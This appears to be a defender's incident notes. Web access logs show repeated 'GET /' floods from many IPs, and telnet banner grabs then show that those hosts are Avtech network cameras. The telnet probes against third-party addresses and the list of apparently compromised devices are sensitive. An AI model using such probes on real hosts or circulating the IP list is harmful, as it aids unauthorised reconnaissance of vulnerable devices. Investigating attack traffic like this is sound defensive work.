97.117.175.215 - - [26/Mar/2017:02:43:17 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
97.117.175.215 - - [26/Mar/2017:02:43:18 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
97.117.175.215 - - [26/Mar/2017:02:43:22 +0200] "GET / HTTP/1.0" 200 28800 "-" "-"
...
188.143.205.161 - - [26/Mar/2017:08:30:21 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
188.143.205.161 - - [26/Mar/2017:08:30:22 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
188.143.205.161 - - [26/Mar/2017:08:30:22 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
188.143.205.161 - - [26/Mar/2017:08:30:25 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
188.143.205.161 - - [26/Mar/2017:08:30:43 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
188.143.205.161 - - [26/Mar/2017:08:30:49 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
189.212.54.189 - - [26/Mar/2017:15:51:44 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
189.212.54.189 - - [26/Mar/2017:15:51:45 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
189.212.54.189 - - [26/Mar/2017:15:51:50 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
189.212.54.189 - - [26/Mar/2017:15:51:51 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
81.134.43.246 - - [26/Mar/2017:20:44:05 +0300] "GET / HTTP/1.0" 200 28120 "-" "-"
81.134.43.246 - - [26/Mar/2017:20:44:05 +0300] "GET / HTTP/1.0" 200 28120 "-" "-"
81.134.43.246 - - [26/Mar/2017:20:44:08 +0300] "GET / HTTP/1.0" 200 28120 "-" "-"
81.134.43.246 - - [26/Mar/2017:20:44:15 +0300] "GET / HTTP/1.0" 200 28120 "-" "-"
81.134.43.246 - - [26/Mar/2017:20:44:29 +0300] "GET / HTTP/1.0" 200 28120 "-" "-"
...
113.170.27.101 - - [26/Mar/2017:21:30:16 +0300] "GET / HTTP/1.0" 200 28560 "-" "-"
...
1.52.201.94 - - [27/Mar/2017:00:29:51 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
1.52.201.94 - - [27/Mar/2017:00:29:53 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
1.52.201.94 - - [27/Mar/2017:00:29:54 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
...
110.232.81.69 - - [27/Mar/2017:11:17:38 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
180.183.125.29 - - [27/Mar/2017:14:03:23 +0300] "GET / HTTP/1.0" 200 26960 "-" "-"
...
124.120.81.189 - - [28/Mar/2017:03:23:05 +0300] "GET / HTTP/1.0" 200 38080 "-" "-"
...
36.80.142.36 - - [28/Mar/2017:12:44:13 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
...
96.250.206.189 - - [28/Mar/2017:14:25:22 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
171.97.27.9 - - [28/Mar/2017:21:40:03 +0300] "GET / HTTP/1.0" 200 27200 "-" "-"
...
203.80.243.98 - - [29/Mar/2017:12:40:50 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
203.80.243.98 - - [29/Mar/2017:12:40:51 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
203.80.243.98 - - [29/Mar/2017:12:40:53 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
203.80.243.98 - - [29/Mar/2017:12:40:58 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
203.80.243.98 - - [29/Mar/2017:12:41:04 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
81.149.231.184 - - [30/Mar/2017:18:29:56 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
50.93.86.98 - - [31/Mar/2017:03:46:57 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
50.93.86.98 - - [31/Mar/2017:03:47:09 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
50.93.86.98 - - [31/Mar/2017:03:47:09 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
50.93.86.98 - - [31/Mar/2017:03:47:10 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
50.93.86.98 - - [31/Mar/2017:03:47:13 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
182.160.97.242 - - [01/Apr/2017:23:49:27 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
182.160.97.242 - - [01/Apr/2017:23:49:28 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
202.155.198.30 - - [02/Apr/2017:17:09:52 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
90.230.253.104 - - [05/Apr/2017:18:23:57 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
90.230.253.104 - - [05/Apr/2017:18:23:59 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
90.230.253.104 - - [05/Apr/2017:18:24:02 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
90.230.253.104 - - [05/Apr/2017:18:24:05 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
90.230.253.104 - - [05/Apr/2017:18:24:16 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
101.255.28.2 - - [06/Apr/2017:02:39:43 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
101.255.28.2 - - [06/Apr/2017:02:39:43 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
101.255.28.2 - - [06/Apr/2017:02:39:44 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
101.255.28.2 - - [06/Apr/2017:02:39:48 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
114.33.92.216 - - [07/Apr/2017:07:03:19 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
114.33.92.216 - - [07/Apr/2017:07:03:21 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
114.33.92.216 - - [07/Apr/2017:07:03:23 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
...
118.68.145.163 - - [12/Apr/2017:01:03:30 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
118.68.145.163 - - [12/Apr/2017:01:03:31 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
118.68.145.163 - - [12/Apr/2017:01:03:42 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
118.68.145.163 - - [12/Apr/2017:01:03:42 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
118.68.145.163 - - [12/Apr/2017:01:03:46 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
...
139.194.196.10 - - [13/Apr/2017:16:04:41 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
139.194.196.10 - - [13/Apr/2017:16:04:42 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
139.194.196.10 - - [13/Apr/2017:16:04:42 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
139.194.196.10 - - [13/Apr/2017:16:04:43 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
139.194.196.10 - - [13/Apr/2017:16:04:57 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
189.145.162.10 - - [23/Apr/2017:02:50:04 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
189.145.162.10 - - [23/Apr/2017:02:50:05 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
189.145.162.10 - - [23/Apr/2017:02:50:07 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
189.145.162.10 - - [23/Apr/2017:02:50:11 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
189.145.162.10 - - [23/Apr/2017:02:50:20 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
...
98.194.18.15 - - [23/Apr/2017:16:09:13 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
98.194.18.15 - - [23/Apr/2017:16:09:14 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
98.194.18.15 - - [23/Apr/2017:16:09:16 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
98.194.18.15 - - [23/Apr/2017:16:09:20 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
98.194.18.15 - - [23/Apr/2017:16:09:43 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
109.107.217.71 - - [26/Apr/2017:03:41:23 +0300] "GET / HTTP/1.0" 200 27760 "-" "-"
109.107.217.71 - - [26/Apr/2017:03:41:23 +0300] "GET / HTTP/1.0" 200 27760 "-" "-"
...
82.14.82.50 - - [26/Apr/2017:06:06:26 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
82.14.82.50 - - [26/Apr/2017:06:06:27 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
82.14.82.50 - - [26/Apr/2017:06:06:29 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
82.14.82.50 - - [26/Apr/2017:06:06:33 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
82.14.82.50 - - [26/Apr/2017:06:06:41 +0300] "GET / HTTP/1.0" 200 28960 "-" "-"
...
197.167.99.63 - - [27/Apr/2017:07:28:21 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
197.167.99.63 - - [27/Apr/2017:07:28:22 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
197.167.99.63 - - [27/Apr/2017:07:28:34 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
197.167.99.63 - - [27/Apr/2017:07:28:34 +0300] "GET / HTTP/1.0" 200 28800 "-" "-"
...
187.194.87.42 - - [05/May/2017:01:40:49 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
187.194.87.42 - - [05/May/2017:01:40:52 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
187.194.87.42 - - [05/May/2017:01:40:56 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
187.194.87.42 - - [05/May/2017:01:40:59 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
187.194.87.42 - - [05/May/2017:01:41:07 +0300] "GET / HTTP/1.0" 200 28000 "-" "-"
...
93.113.157.244 - - [29/May/2017:03:00:49 +0300] "GET / HTTP/1.0" 200 28560 "-" "-"
...
220.132.72.87 - - [17/Jun/2017:01:00:07 +0300] "GET / HTTP/1.1" 200 43436 "-" "-" "-"
220.132.72.87 - - [17/Jun/2017:01:00:06 +0300] "GET / HTTP/1.1" 200 43436 "-" "-" "-"
220.132.72.87 - - [17/Jun/2017:01:00:11 +0300] "GET / HTTP/1.1" 200 43436 "-" "-" "-"
...
185.63.40.30 - - [20/Jun/2017:00:18:17 +0300] "GET / HTTP/1.0" 200 43541 "-" "-" "-"
185.63.40.30 - - [20/Jun/2017:00:18:18 +0300] "GET / HTTP/1.0" 200 43541 "-" "-" "-"
For a lot of the IP addresses (performing the HTTP GET requests) it was easy to verify that they have an open Avtech network camera port:
$ telnet 189.144.218.190 81
Trying 189.144.218.190...
Connected to 189.144.218.190.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 20 Mar 2017 14:15:09 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Fri, 08 Aug 2014 11:43:14 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 46.217.123.242 88
Trying 46.217.123.242...
Connected to 46.217.123.242.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 20 Mar 2017 21:02:47 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Thu, 16 Aug 2012 11:49:50 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 14.168.43.45 81
Trying 14.168.43.45...
Connected to 14.168.43.45.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Tue, 21 Mar 2017 03:08:31 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Mon, 05 Mar 2012 03:09:51 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 87.196.113.0 80
Trying 87.196.113.0...
Connected to 87.196.113.0.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Tue, 21 Mar 2017 21:03:11 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Wed, 16 Feb 2011 07:27:12 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 81.152.178.238 80
Trying 81.152.178.238...
Connected to 81.152.178.238.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 22 Mar 2017 12:56:12 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Mon, 05 Mar 2012 02:48:13 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 187.177.44.102 81
Trying 187.177.44.102...
Connected to 187.177.44.102.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 22 Mar 2017 10:33:27 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Wed, 28 Aug 2013 06:51:28 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 189.162.207.163 81
Trying 189.162.207.163...
Connected to 189.162.207.163.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 22 Mar 2017 13:34:15 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Wed, 30 Mar 2011 10:13:54 GMվվ8b
Content-Type: text/html

Connection closed by foreign host.

$ telnet 171.229.246.59 81
Trying 171.229.246.59...
Connected to 171.229.246.59.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 09:57:54 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Wed, 30 Mar 2011 07:46:06 GMT���8���\\
Content-Type: text/html

Connection closed by foreign host.

$ telnet 203.198.38.161 81
Trying 203.198.38.161...
Connected to 203.198.38.161.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 24 Mar 2017 19:48:43 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Mon, 25 Apr 2011 03:49:19 GMT▒4▒▒Y
Content-Type: text/html

Connection closed by foreign host.

$ telnet 210.245.32.245 88
Trying 210.245.32.245...
Connected to 210.245.32.245.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 24 Mar 2017 19:20:17 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Thu, 14 May 2015 05:19:31 GMT
Content-Type: text/html

Connection closed by foreign host.

$ grep telnet 110.232.80.212 81
Trying 110.232.80.212...
Connected to 110.232.80.212.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 24 Mar 2017 17:54:01 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
grep: 110.232.80.212: No such file or directory
grep: 81: No such file or directory
joachim@joachim-Lenovo-G50-70:~/defense$ Trying 110.232.80.212...
Last-Modified: Mon, 05 Mar 2012 03:02:41 GMT
Content-Type: text/html

$ telnet 190.166.157.128 81
Trying 190.166.157.128...
Connected to 190.166.157.128.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 24 Mar 2017 07:32:53 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Tue, 28 Jun 2016 06:24:23 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 183.67.94.83 88
Trying 183.67.94.83...
Connected to 183.67.94.83.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 24 Mar 2017 19:29:45 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Thu, 26 May 2011 08:30:19 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 81.130.133.112 81
Trying 81.130.133.112...
Connected to 81.130.133.112.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 24 Mar 2017 14:13:53 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Mon, 05 Mar 2012 02:48:13 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 113.170.27.101 88
Trying 113.170.27.101...
Connected to 113.170.27.101.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Sun, 26 Mar 2017 21:45:32 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Tue, 14 Jun 2011 03:34:13 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 1.52.201.94 81
Trying 1.52.201.94...
Connected to 1.52.201.94.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 16:20:12 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Thu, 16 Jun 2011 07:32:47 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 110.232.81.69 88
Trying 110.232.81.69...
Connected to 110.232.81.69.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 17:13:09 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Mon, 07 Mar 2016 09:15:17 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 124.120.81.189 88
Trying 124.120.81.189...
Connected to 124.120.81.189.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Tue, 28 Mar 2017 07:57:16 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Wed, 30 Mar 2011 10:08:01 GMT���8���8b
Content-Type: text/html

Connection closed by foreign host.

$ telnet 36.80.142.36 88
Trying 36.80.142.36...
Connected to 36.80.142.36.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Tue, 28 Mar 2017 17:26:58 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Fri, 26 Jun 2015 09:33:03 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 96.250.206.189 81
Trying 96.250.206.189...
Connected to 96.250.206.189.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Tue, 28 Mar 2017 08:46:58 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Tue, 15 Feb 2011 11:36:46 GMTR▒▒8R▒▒8b
Content-Type: text/html

Connection closed by foreign host.

$ telnet 171.97.27.9  88
Trying 171.97.27.9...
Connected to 171.97.27.9.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 29 Mar 2017 06:14:11 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Mon, 05 Mar 2012 02:48:13 GMT
Content-Type: text/html

Connection closed by foreign host.

$ telnet 50.93.86.98 88
Trying 50.93.86.98...
Connected to 50.93.86.98.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 00:57:37 GMT
Server: Linux/2.x UPnP/1.0 Avtech/1.0
Connection: close
Last-Modified: Wed, 30 Mar 2011 10:08:01 GMT�߾8�߾8b
Content-Type: text/html

Connection closed by foreign host.